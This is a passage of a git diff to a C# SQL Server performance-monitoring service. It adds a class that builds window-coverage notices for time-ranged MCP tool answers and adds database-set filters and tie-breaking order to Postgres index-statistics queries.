         /* Past the horizon on the raw route with the rollup present: coverage put the read here because the
@@ -1077,8 +1152,8 @@ rollup has materialized less than raw holds (the #1759 held-purge shape), so raw
 
         return EmptyStatus(
             "empty",
-            $"No {what} samples were recorded for {serverName} in the part of the last {hours_back} hour(s) that the raw tier still holds. {oldest}, and the window as requested starts at {startUtc:o} — the part before raw's reach is UNSERVED rather than quiet, because the hourly rollup ({route.HourlyView}) that would serve deeper history has materialized less than raw holds. This server HAS been sampled before. Widening hours_back reaches further into what raw no longer holds and cannot help; run --backfill-rollups to materialize the rollup, which is what serves deeper history.",
-            disclosure);
+            $"No {what} samples were recorded for {scoped} in the part of the last {hours_back} hour(s) that the raw tier still holds. {oldest}, and the window as requested starts at {startUtc:o} — the part before raw's reach is UNSERVED rather than quiet, because the hourly rollup ({route.HourlyView}) that would serve deeper history has materialized less than raw holds. This server HAS been sampled before. Widening hours_back reaches further into what raw no longer holds and cannot help; run --backfill-rollups to materialize the rollup, which is what serves deeper history.",
+            disclosure, databases);
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpWindowNotice.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpWindowNotice.cs
new file mode 100644
index 0000000000..1a0cef56fa
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpWindowNotice.cs
@@ -0,0 +1,306 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The three window-floor keys <see cref="DarlingMcpWindowNotice.Build"/> answers, as the values a tool writes into its
+/// payload (#4966). <see cref="EffectiveStart"/> is null only for an empty answer over a window the store holds
+/// nothing in: there is no start to name.
+/// </summary>
+internal readonly record struct McpWindowNotice(string? EffectiveStart, bool WindowTruncated, string? TruncationNote)
+{
+    /// <summary>
+    /// The notice a failed coverage probe leaves (#4966): there is no verdict on the window, so a tool answers without the
+    /// three keys (a data answer) or without hints (an empty one). A failed probe costs the notice, never the rows, the rule
+    /// the web's own note follows. Not <see cref="WindowTruncated"/>, so a tool that writes its keys only for a cut window
+    /// writes none.
+    /// </summary>
+    internal static McpWindowNotice Unavailable { get; } = new(null, false, null) { IsUnavailable = true };
+
+    /// <summary>True for <see cref="Unavailable"/>: the probe failed, so no key and no hint may be written.</summary>
+    internal bool IsUnavailable { get; init; }
+
+    /// <summary>
+    /// The same three keys, with the same values and wording, for an <c>empty</c> status, which carries them under
+    /// <c>hints</c>: an empty answer over a window the store does not reach back to is not a true negative, and without
+    /// them it read as one. A status that says the collector never ran (<c>not_collected</c>) does not carry them.
+    /// A notice from a failed probe has no hints (null), which <see cref="McpHelpers.Status"/> leaves out.
+    /// </summary>
+    internal object? AsHints() => IsUnavailable ? null : new { effective_start = EffectiveStart, window_truncated = WindowTruncated, truncation_note = TruncationNote };
+}
+
+/// <summary>
+/// The window-floor notice a time-ranged MCP tool writes beside <c>hours_back</c> (#4966): <c>effective_start</c>,
+/// <c>window_truncated</c> and <c>truncation_note</c>, the shape and the wording Lite's tools carry
+/// (<c>McpQueryTools.WindowNotice</c>), so a client reads one dialect from either app. The two sentences are copied
+/// from Lite and held equal to it by a test.
+///
+/// <para>The coverage probe is <see cref="DataWindowFloor.GetAsync"/>, never <see cref="DataWindowFloor.GetForServerAsync"/>:
+/// the latter answers null for any window of 90 minutes or less, and on an empty answer that null reads as "not
+/// covered", so every default one-hour call that found nothing would say the store holds no collection.</para>
+/// </summary>
+internal static class DarlingMcpWindowNotice
+{
+    /// <summary>
+    /// The notice for a probe's <paramref name="floor"/> (where coverage starts, null for none). On an empty answer
+    /// (<paramref name="emptyAnswer"/>) a null floor means the store holds no collection for the server in the window,
+    /// and the notice says NOT covered: <c>window_truncated</c> true, no <c>effective_start</c>, and a note that says
+    /// so. On an answer WITH rows a null floor means covered, at the start that was asked for.
+    /// <paramref name="tail"/> is one more sentence a truncated note carries.
+    /// </summary>
+    internal static McpWindowNotice Build(
+        DateTime? floor, DateTime requestedStart, string table, string? tail = null, bool emptyAnswer = false, bool listOnly = false,
+        bool storeSubject = false)
+    {
+        if (storeSubject)
+        {
+            return BuildForStore(floor, requestedStart, table, tail, emptyAnswer);
+        }
+
+        if (floor is null && listOnly)
+        {
+            /* The windowed list is empty but the answer carries other data (a latest-snapshot block), so it is not an empty answer. */
+            return new McpWindowNotice(
+                null,
+                true,
+                $"The store holds no collection of {table} for this server in this window, so no windowed rows were read, and a list with no rows is not a report that nothing happened. "
+                    + "The window may reach further back than the store retains, this server may have been monitored for less time than that, or collection may have stopped; get_collection_health shows which.");
+        }
+
+        if (floor is null && emptyAnswer)
+        {
+            return new McpWindowNotice(
+                null,
+                true,
+                $"The store holds no collection of {table} for this server in this window, so nothing was read, and this empty answer is not a report that nothing happened. "
+                    + "The window may reach further back than the store retains, this server may have been monitored for less time than that, or collection may have stopped; get_collection_health shows which.");
+        }
+
+        var truncated = RawWindowFloor.IsTruncated(floor, requestedStart);
+        return new McpWindowNotice(
+            McpHelpers.FormatEffectiveStart(RawWindowFloor.EffectiveStart(floor, requestedStart)),
+            truncated,
+            truncated
+                ? $"The window reaches further back than this server's raw {table} retains (or this server has been monitored for less time than that), so the older part of it was not read."
+                    + (tail is null ? "" : " " + tail)
+                : null);
+    }
+
+    /// <summary>
+    /// <see cref="Build"/> for a tool whose subject is the STORE's own history (<c>storeSubject</c>), not a monitored server's
+    /// collection: the same three keys, with wording that does not talk about "this server" or point at get_collection_health.
+    /// </summary>
+    private static McpWindowNotice BuildForStore(DateTime? floor, DateTime requestedStart, string table, string? tail, bool emptyAnswer)
+    {
+        if (floor is null && emptyAnswer)
+        {
+            return new McpWindowNotice(
+                null,
+                true,
+                $"The store holds no {table} that read the extension in this window, so nothing was read, and this empty answer is not a report that nothing happened. "
+                    + "The window may reach further back than the history exists, or snapshots may not have been taken yet.");
+        }
+
+        var truncated = RawWindowFloor.IsTruncated(floor, requestedStart);
+        return new McpWindowNotice(
+            McpHelpers.FormatEffectiveStart(RawWindowFloor.EffectiveStart(floor, requestedStart)),
+            truncated,
+            truncated
+                ? $"The window reaches further back than the store's own {table} goes (its first snapshot is later than the start of the window), so the older part of it was not read."
+                    + (tail is null ? "" : " " + tail)
+                : null);
+    }
+
+    /// <summary>
+    /// <see cref="Build"/> with its coverage probe, which a window no longer than
+    /// <see cref="DurationTrendRouting.TruncationSlack"/> that answered rows never needs: the probe cannot find a floor
+    /// later than the start by more than the slack, so the answer is covered whatever it would read. The probe is a
+    /// delegate and is not started for such a window. <paramref name="listOnly"/> probes whatever the window, for an answer whose
+    /// windowed list is empty but which carries other data (so it is not an <paramref name="emptyAnswer"/>). An EMPTY answer is always probed, whatever the window's length:
+    /// nothing was read, so nothing else says the store held the window at all.
+    ///
+    /// <para>A probe that throws, other than because the CALLER cancelled, is logged at Warning and answers
+    /// <see cref="McpWindowNotice.Unavailable"/>: the probe is a second read on a shared store, and it must not turn a page
+    /// of rows that was already read into an error.</para>
+    /// </summary>
+    internal static async Task<McpWindowNotice> ReadAsync(
+        Func<Task<DateTime?>> probe, DateTime requestedStart, DateTime windowEnd, string table, string? tail = null, bool emptyAnswer = false,
+        bool listOnly = false, ILogger? logger = null, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(probe);
+        try
+        {
+            var floor = emptyAnswer || listOnly || windowEnd - requestedStart > DurationTrendRouting.TruncationSlack ? await probe() : null;
+            return Build(floor, requestedStart, table, tail, emptyAnswer, listOnly);
+        }
+        catch (Exception ex) when (!(ex is OperationCanceledException && cancellationToken.IsCancellationRequested))
+        {
+            logger?.LogWarning(ex, "The coverage probe of {Table} failed; the answer goes without its window-floor notice.", table);
+            return McpWindowNotice.Unavailable;
+        }
+    }
+
+    /// <summary>
+    /// The earlier of two instants, a null (nothing to report) giving way to the other; null when both are. Lite's
+    /// <c>LocalDataService.EarlierCoverageFloor</c>.
+    /// </summary>
+    internal static DateTime? Earlier(DateTime? first, DateTime? second) =>
+        first is DateTime a && second is DateTime b ? (a <= b ? a : b) : first ?? second;
+
+    /// <summary>
+    /// The later of two instants, a null (nothing to report) giving way to the other; null when both are. For an answer that
+    /// carries two separate series (get_blocking_stats): the one notice names the later of the two floors, since the answer is
+    /// only as complete as its least-covered series. Lite's <c>LocalDataService.LaterCoverageFloor</c>.
+    /// </summary>
+    internal static DateTime? Later(DateTime? first, DateTime? second) =>
+        first is DateTime a && second is DateTime b ? (a >= b ? a : b) : first ?? second;
+
+    /// <summary>
+    /// <see cref="ReadAsync"/> for an EVENT list (deadlocks, blocked process reports, long query completions), where a first run
+    /// of the collector can store events from before itself (#4966): the coverage probe reads the collector's table on
+    /// <c>collection_time</c>, but the rows are windowed on the event's own time, so a page can show an event older than the
+    /// probe's floor, and a notice that names a start later than a row it shows is wrong on its face. On a data answer the floor is
+    /// the EARLIER of the probe's and <paramref name="oldestEventShown"/> (the oldest event time on the page; null when the page
+    /// holds none, as on an empty answer). The comparison runs inside the probe delegate, so a window the probe is skipped for
+    /// (90 minutes or less, with rows) stays covered at the start that was asked for, as every other window-floor tool does, and
+    /// a probe that throws still answers <see cref="McpWindowNotice.Unavailable"/> (the event time is not a verdict on its own).
+    /// </summary>
+    internal static Task<McpWindowNotice> ReadEventAsync(
+        Func<Task<DateTime?>> probe, DateTime? oldestEventShown, DateTime requestedStart, DateTime windowEnd, string table,
+        bool emptyAnswer = false, ILogger? logger = null, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(probe);
+        return ReadAsync(
+            async () => Earlier(await probe(), oldestEventShown),
+            requestedStart, windowEnd, table, emptyAnswer: emptyAnswer, logger: logger, cancellationToken: cancellationToken);
+    }
+
+    /// <summary>
+    /// A payload already serialized with the three window-floor keys, without them: what a tool answers when its probe failed
+    /// (<see cref="McpWindowNotice.IsUnavailable"/>). Only top-level keys are touched, and the order of the rest is kept.
+    /// </summary>
+    internal static string WithoutKeys(string json)
+    {
+        var node = JsonNode.Parse(json)!.AsObject();
+        node.Remove("effective_start");
+        node.Remove("window_truncated");
+        node.Remove("truncation_note");
+        return node.ToJsonString(McpHelpers.JsonOptions);
+    }
+
+    /// <summary>The reads the web does not list, and the collector table each one windows on (both on <c>collection_time</c>).</summary>
+    internal static readonly System.Collections.Generic.IReadOnlyDictionary<string, string> UnlistedTableByRead =
+        new System.Collections.Generic.Dictionary<string, string>(StringComparer.Ordinal)
+        {
+            ["get_pg_cpu_utilization"] = "pg_cpu_utilization",
+        };
+
+    /// <summary>The table <paramref name="read"/> is named after in a notice: the web's table when it lists the read, else its own.</summary>
+    internal static string TableFor(string read) =>
+        WebDataStartNote.TableByRead.TryGetValue(read, out var table) ? table : UnlistedTableByRead[read];
+
+    /// <summary>
+    /// The coverage probe source of <paramref name="read"/>: the one the WEB probes (<see cref="WebDataStartNote.TryGetReadSource"/>)
+    /// when it lists the read, so a tool and the page it shares a read with never name different starts (#4966); else the
+    /// read's collector table.
+    /// </summary>
+    internal static DataWindowFloor.Source SourceFor(string read) =>
+        WebDataStartNote.TryGetReadSource(read, out var source) ? source : DataWindowFloor.Source.ForCollectorTable(UnlistedTableByRead[read]);
+
+    /// <summary>
+    /// <see cref="ReadAsync"/> for one tool over [<paramref name="requestedStart"/>, <paramref name="windowEnd"/>], on
+    /// <see cref="SourceFor"/>, naming <see cref="TableFor"/> in the notice.
+    /// </summary>
+    internal static Task<McpWindowNotice> ReadForToolAsync(
+        NpgsqlDataSource postgres, string tool, string serverName, DateTime requestedStart, DateTime windowEnd,
+        bool emptyAnswer, ILogger? logger, CancellationToken cancellationToken)
+    {
+        /* TableFor throws on a tool in neither map; that must cost only the notice, never the answer. */
+        string table;
+        try
+        {
+            table = TableFor(tool);
+        }
+        catch (KeyNotFoundException ex)
+        {
+            logger?.LogWarning(ex, "No window-notice table is listed for {Tool}; the answer goes without its window-floor notice.", tool);
+            return Task.FromResult(McpWindowNotice.Unavailable);
+        }
+
+        return ReadAsync(
+            () => Probe(postgres, SourceFor(tool), serverName, requestedStart, windowEnd, cancellationToken),
+            requestedStart, windowEnd, table, emptyAnswer: emptyAnswer, logger: logger, cancellationToken: cancellationToken);
+    }
+
+    /// <summary>A data answer already serialized: without the three window-floor keys when the probe failed, else as is.</summary>
+    internal static string Finish(string json, McpWindowNotice notice) =>
+        notice.IsUnavailable ? WithoutKeys(json) : json;
+
+    /// <summary>
+    /// An empty answer written with <c>hints = notice.AsHints()</c>, without the <c>hints</c> key when the probe failed (a null
+    /// there would otherwise be written as <c>"hints":null</c>).
+    /// </summary>
+    internal static string FinishEmpty(string json, McpWindowNotice notice)
+    {
+        if (!notice.IsUnavailable)
+        {
+            return json;
+        }
+
+        var node = JsonNode.Parse(json)!.AsObject();
+        node.Remove("hints");
+        return node.ToJsonString(McpHelpers.JsonOptions);
+    }
+
+    /// <summary>A test's stand-in for the coverage probe, per async flow (null: the store is asked).</summary>
+    private static readonly AsyncLocal<Func<Task<DateTime?>>?> s_testOnlyProbe = new();
+
+    /// <summary>Test seam: while set, <see cref="Probe(NpgsqlDataSource, DataWindowFloor.Source, string, DateTime, DateTime, CancellationToken)"/> runs this instead of the store read.</summary>
+    internal static Func<Task<DateTime?>>? TestOnlyProbe
+    {
+        get => s_testOnlyProbe.Value;
+        set => s_testOnlyProbe.Value = value;
+    }
+
+    /// <summary>The coverage probe for one collector table and one server over [<paramref name="start"/>, <paramref name="end"/>].</summary>
+    internal static Task<DateTime?> Probe(
+        NpgsqlDataSource postgres, string table, string serverName, DateTime start, DateTime end, CancellationToken cancellationToken) =>
+        Probe(postgres, DataWindowFloor.Source.ForCollectorTable(table), serverName, start, end, cancellationToken);
+
+    /// <summary>The coverage probe over a source the caller built (the collection log, one collector's runs, a stitched read).</summary>
+    internal static Task<DateTime?> Probe(
+        NpgsqlDataSource postgres, DataWindowFloor.Source source, string serverName, DateTime start, DateTime end, CancellationToken cancellationToken) =>
+        Probe(postgres, [source], serverName, start, end, cancellationToken);
+
+    /// <summary>
+    /// The coverage probe over several sources a page is fed by (get_blocking's XE reports and DMV snapshots, #4966):
+    /// <see cref="DataWindowFloor.GetAsync"/> answers the EARLIEST of them in one read.
+    /// </summary>
+    internal static Task<DateTime?> Probe(
+        NpgsqlDataSource postgres, IReadOnlyList<DataWindowFloor.Source> sources, string serverName, DateTime start, DateTime end, CancellationToken cancellationToken)
+    {
+        var stub = TestOnlyProbe;
+        if (stub != null)
+        {
+            return stub();
+        }
+
+        return DataWindowFloor.GetAsync(postgres, sources, [serverName], start, end, StorageCommandDeadlines.McpReadSeconds, cancellationToken);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs
index 72ba049dc0..99f9e39326 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingObjectStatsReader.cs
@@ -14,6 +14,7 @@
 using Npgsql;
 using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -111,6 +112,16 @@ public sealed record IndexLockingRow(
         double ReservedMb, long TotalRows, long RowLockWaitCount, long RowLockWaitInMs, long PageLockWaitCount,
         long PageLockWaitInMs, long IndexLockPromotionCount, long PageLatchWaitInMs, long PageIoLatchWaitInMs);
 
+    /// <summary>
+    /// #5311: the four counters of one index's locking detail pane, the ones the Locking list leaves out (row lock count,
+    /// page lock count, page latch wait count, page I/O latch wait count). <c>CollectionTime</c> is the snapshot's own
+    /// stamp, first for the reason <see cref="IndexLockingRow"/> carries it first.
+    /// </summary>
+    public sealed record IndexLockingDetailRow(
+        DateTime CollectionTime,
+        string DatabaseName, string SchemaName, string TableName, string? IndexName,
+        long RowLockCount, long PageLockCount, long PageLatchWaitCount, long PageIoLatchWaitCount);
+
     /// <summary>One database file's latest size snapshot. <c>TotalSizeMb</c> is null for the LOG file of an Azure SQL
     /// Database Hyperscale database (the log service): see <see cref="PerformanceMonitor.Common.HyperscaleLogSize"/>.
     /// <c>FileId</c> is null for the one row another database on an Azure SQL Database server gets, which holds
@@ -132,6 +143,10 @@ public sealed record DatabaseSizeRow(
     /// Postgres: roll indexes up per (database, schema, table) at the latest snapshot, and read the same
     /// table's reserved size at the newest snapshot at/older-than the 7-day ($2) and 30-day ($3) cutoffs and
     /// at the store's earliest snapshot. Ranks by current reserved size descending, cap $4. $1 server_id.
+    /// <para>#5244: $5 is the database filter (a text[], NULL = every database; the shape of <see cref="DatabaseFilter.Clause"/>).
+    /// It sits on the four snapshot CTEs and NOT on <c>boundaries</c>, so the snapshot anchors, the store's span and
+    /// the 7-day and 30-day baselines stay the server's: a filtered and an unfiltered call read the same captures,
+    /// and the cap $4 applies after the filter, so the page is the largest N tables of the chosen databases.</para>
     /// <para><b>Baselines are projected RAW, not folded (#3541 A12).</b> The previous shape derived the growth
     /// columns in SQL through <c>COALESCE(p30, p7, oldest, current)</c>, so a baseline the store did not hold
     /// was silently replaced by a nearer one and labelled with the farther window's name — and a table in no
@@ -160,24 +175,28 @@ latest AS (
                 COUNT(*) AS index_count
             FROM v_index_object_stats
             WHERE server_id = $1 AND collection_time = (SELECT latest_time FROM boundaries)
+            AND ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, schema_name, table_name
         ),
         past_7d AS (
             SELECT database_name, schema_name, table_name, SUM(reserved_mb) AS reserved_mb
             FROM v_index_object_stats
             WHERE server_id = $1 AND collection_time = (SELECT snapshot_7d_time FROM boundaries)
+            AND ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, schema_name, table_name
         ),
         past_30d AS (
             SELECT database_name, schema_name, table_name, SUM(reserved_mb) AS reserved_mb
             FROM v_index_object_stats
             WHERE server_id = $1 AND collection_time = (SELECT snapshot_30d_time FROM boundaries)
+            AND ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, schema_name, table_name
         ),
         oldest AS (
             SELECT database_name, schema_name, table_name, SUM(reserved_mb) AS reserved_mb
             FROM v_index_object_stats
             WHERE server_id = $1 AND collection_time = (SELECT earliest_time FROM boundaries)
+            AND ($5::text[] IS NULL OR database_name = ANY($5))
             GROUP BY database_name, schema_name, table_name
         )
         SELECT
@@ -205,8 +224,16 @@ ORDER BY l.current_reserved_mb DESC
         LIMIT $4
         """;
 
+    public static Task<List<ObjectSizeGrowthRow>> GetObjectSizeGrowthAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime cutoff7dUtc, DateTime cutoff30dUtc, int top, CancellationToken cancellationToken = default) =>
+        GetObjectSizeGrowthAsync(postgres, serverId, cutoff7dUtc, cutoff30dUtc, top, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>#5244: <see cref="GetObjectSizeGrowthAsync(NpgsqlDataSource,int,DateTime,DateTime,int,CancellationToken)"/> over
+    /// a SET of databases (<see cref="DatabaseFilter.All"/> = every database). Rows of the chosen databases only, capped after
+    /// the filter; the snapshot anchors stay the server's.</summary>
     public static async Task<List<ObjectSizeGrowthRow>> GetObjectSizeGrowthAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime cutoff7dUtc, DateTime cutoff30dUtc, int top, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime cutoff7dUtc, DateTime cutoff30dUtc, int top, DatabaseFilter databases,
+        CancellationToken cancellationToken = default)
     {
         var rows = new List<ObjectSizeGrowthRow>();
         await using var command = postgres.CreateCommand(ObjectSizeGrowthSql);
@@ -215,6 +242,7 @@ public static async Task<List<ObjectSizeGrowthRow>> GetObjectSizeGrowthAsync(
         DarlingMcpReadParameters.AddTimestamp(command, cutoff7dUtc);
         DarlingMcpReadParameters.AddTimestamp(command, cutoff30dUtc);
         DarlingMcpReadParameters.AddInt(command, top);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -246,7 +274,7 @@ public static async Task<List<ObjectSizeGrowthRow>> GetObjectSizeGrowthAsync(
     /// Per-index usage at the latest snapshot — Lite's <c>GetIndexUsageAsync</c> ported to Postgres:
     /// seeks/scans/lookups/updates with the Unused / Write-only / Active classification, unused-first then
     /// largest reserved. Counters are cumulative since the last restart.
-    /// <para>$1 server_id, $2 database filter (NULL = every database), $3 cap.</para>
+    /// <para>$1 server_id, $2 database filter (a text[], NULL = every database; #5245, the shape of <see cref="DatabaseFilter.Clause"/>), $3 cap.</para>
     /// <para>#2636: the ordering and the cap interact badly and a field report found the sharp edge. Unused
     /// sorts ahead of everything SERVER-WIDE, so on an instance with 200+ unused indexes concentrated in one
     /// legacy database, the entire capped result is consumed by that database and every Active index in every
@@ -306,7 +334,7 @@ END AS classification
         FROM v_index_object_stats
         WHERE server_id = $1
         AND   collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
-        AND   ($2::text IS NULL OR database_name = $2::text)
+        AND   ($2::text[] IS NULL OR database_name = ANY($2))
         ORDER BY
             CASE WHEN COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) = 0 THEN 0 ELSE 1 END,
             reserved_mb DESC NULLS LAST,
@@ -330,22 +358,35 @@ SELECT count(*)
         FROM v_index_object_stats
         WHERE server_id = $1
         AND   collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
-        AND   ($2::text IS NULL OR database_name = $2::text)
+        AND   ($2::text[] IS NULL OR database_name = ANY($2))
         """;
 
     /// <summary>
     /// The rows the cap allowed. <paramref name="databaseName"/> null means every database — the shape the
-    /// tool had before #2636, kept so callers that genuinely want a server-wide sweep still get one.
+    /// tool had before #2636, kept so callers that genuinely want a server-wide sweep still get one. One name:
+    /// <see cref="GetIndexUsageAsync(NpgsqlDataSource,int,int,DatabaseFilter,CancellationToken)"/> with
+    /// <see cref="DatabaseFilter.One"/>.
+    /// </summary>
+    public static Task<List<IndexUsageRow>> GetIndexUsageAsync(
+        NpgsqlDataSource postgres, int serverId, int top, string? databaseName = null, CancellationToken cancellationToken = default) =>
+        GetIndexUsageAsync(postgres, serverId, top, DatabaseFilter.One(databaseName), cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetIndexUsageAsync(NpgsqlDataSource,int,int,string,CancellationToken)"/> over a SET of databases.
+    /// <paramref name="databases"/> is <see cref="DatabaseFilter.All"/> for every database; otherwise the rows are
+    /// the unused-first, largest-first top <paramref name="top"/> of the CHOSEN databases only (the cap applies after
+    /// the filter, in SQL). The snapshot anchor stays the server's newest capture, so a filtered and an unfiltered
+    /// call read the same capture.
     /// </summary>
     public static async Task<List<IndexUsageRow>> GetIndexUsageAsync(
-        NpgsqlDataSource postgres, int serverId, int top, string? databaseName = null, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, int top, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<IndexUsageRow>();
         var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
         await using var command = postgres.CreateCommand(IndexUsageSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
-        command.Parameters.AddWithValue((object?)databaseName ?? DBNull.Value);
+        command.Parameters.Add(databases.Parameter());
         DarlingMcpReadParameters.AddInt(command, top);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -376,15 +417,25 @@ internal static IndexUsageRow MapIndexUsageRow(DbDataReader reader, ServerClock
 
     /// <summary>
     /// How many index rows the same server and database filter match at the latest snapshot, ignoring the
-    /// cap (#2636).
+    /// cap (#2636). One name, or null for every database.
+    /// </summary>
+    public static Task<long> GetIndexUsageMatchCountAsync(
+        NpgsqlDataSource postgres, int serverId, string? databaseName = null, CancellationToken cancellationToken = default) =>
+        GetIndexUsageMatchCountAsync(postgres, serverId, DatabaseFilter.One(databaseName), cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetIndexUsageMatchCountAsync(NpgsqlDataSource,int,string,CancellationToken)"/> over a SET of
+    /// databases: the count of the CHOSEN databases' rows, the population
+    /// <see cref="GetIndexUsageAsync(NpgsqlDataSource,int,int,DatabaseFilter,CancellationToken)"/> pages over.
+    /// <see cref="DatabaseFilter.All"/> is the server-wide count.
     /// </summary>
     public static async Task<long> GetIndexUsageMatchCountAsync(
-        NpgsqlDataSource postgres, int serverId, string? databaseName = null, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         await using var command = postgres.CreateCommand(IndexUsageMatchCountSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
-        command.Parameters.AddWithValue((object?)databaseName ?? DBNull.Value);
+        command.Parameters.Add(databases.Parameter());
 
         return await command.ExecuteScalarAsync(cancellationToken) is long count ? count : 0;
     }
@@ -395,7 +446,7 @@ public static async Task<long> GetIndexUsageMatchCountAsync(
     /// Per-index locking / latch contention at the SERVER's latest capture — the viewer's
     /// <c>IndexLockingAllSql</c> projected to the columns get_object_locking surfaces: only rows with a
     /// nonzero lock/latch wait or promotion, most contended first. Counters are cumulative since the last
-    /// restart. $1 server_id, $2 cap.
+    /// restart. $1 server_id, $2 database filter (a text[], NULL = every database; #5245), $3 cap.
     ///
     /// <para><b>#3878: this read used to resolve "latest" PER <c>database_name</c></b> —
     /// <c>MAX(collection_time)</c> GROUPed BY the name string, joined back to the rows — which made every
@@ -425,6 +476,9 @@ public static async Task<long> GetIndexUsageMatchCountAsync(
     /// <c>get_object_locking</c> publishes <c>captured_at</c>. A second <c>MAX(collection_time)</c> read to
     /// fetch the stamp would have been the dishonest alternative: it can resolve to the NEXT capture landing
     /// between the two queries, which is the rule <c>McpLatestSnapshotStampTests</c> pins per read.</para>
+    /// <para>#5372 L1: the order ends in a total one (lock promotions, then database, schema, table and index name, as
+    /// <c>get_index_usage</c> does), so two runs over a set that ties at the cap return the same rows. The rows listed
+    /// only for a lock promotion all sum to 0 and tie.</para>
     /// </summary>
     public const string IndexLockingSql = """
         SELECT
@@ -453,10 +507,13 @@ OR COALESCE(ios.page_latch_wait_in_ms, 0) > 0
             OR COALESCE(ios.page_io_latch_wait_in_ms, 0) > 0
             OR COALESCE(ios.index_lock_promotion_count, 0) > 0
         )
+        AND   ($2::text[] IS NULL OR ios.database_name = ANY($2))
         ORDER BY
             COALESCE(ios.row_lock_wait_in_ms, 0) + COALESCE(ios.page_lock_wait_in_ms, 0)
-            + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC
-        LIMIT $2
+            + COALESCE(ios.page_latch_wait_in_ms, 0) + COALESCE(ios.page_io_latch_wait_in_ms, 0) DESC,
+            COALESCE(ios.index_lock_promotion_count, 0) DESC,
+            ios.database_name, ios.schema_name, ios.table_name, ios.index_name NULLS LAST
+        LIMIT $3
         """;
 
     /// <summary>
@@ -464,36 +521,62 @@ ORDER BY
     /// <c>capture_time</c> of the whole server, as <see cref="DarlingCurrentConfigReader.DatabaseConfigSql"/> reads
     /// it: one collection run writes every database with one capture time, so that capture is the server's whole
     /// snapshot, and a dropped database's old true flag does not outlive it. <c>capture_time</c> is projected so the
-    /// latest-anchor census sees the anchor. A NULL flag means unknown. $1 server_id.
+    /// latest-anchor census sees the anchor. A NULL flag means unknown. $1 server_id, $2 database filter (a text[], NULL = every database; #5245: the
+    /// anchor stays the server's capture, only WHICH databases' flags count changes).
     /// </summary>
     public const string OptimizedLockingFlagsSql = """
         SELECT is_optimized_locking_on, capture_time
         FROM database_config
         WHERE server_id = $1
         AND   capture_time = (SELECT MAX(capture_time) FROM database_config WHERE server_id = $1)
+        AND   ($2::text[] IS NULL OR database_name = ANY($2))
         """;
 
-    /// <summary>The shared optimized-locking note when any database's newest flag is true; null otherwise.</summary>
+    /// <summary>The shared optimized-locking note when any database's newest flag is true; null otherwise. #5245: with a
+    /// <paramref name="databases"/> selection only the CHOSEN databases' flags count, so the note never warns about a
+    /// database the page does not show.</summary>
+    public static Task<string?> GetOptimizedLockingNoteAsync(
+        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default) =>
+        GetOptimizedLockingNoteAsync(postgres, serverId, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>The note over a selection: see <see cref="GetOptimizedLockingNoteAsync(NpgsqlDataSource,int,CancellationToken)"/>;
+    /// only the <paramref name="databases"/> chosen count (#5245).</summary>
     public static async Task<string?> GetOptimizedLockingNoteAsync(
-        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var flags = new List<bool?>();
         await using var command = postgres.CreateCommand(OptimizedLockingFlagsSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
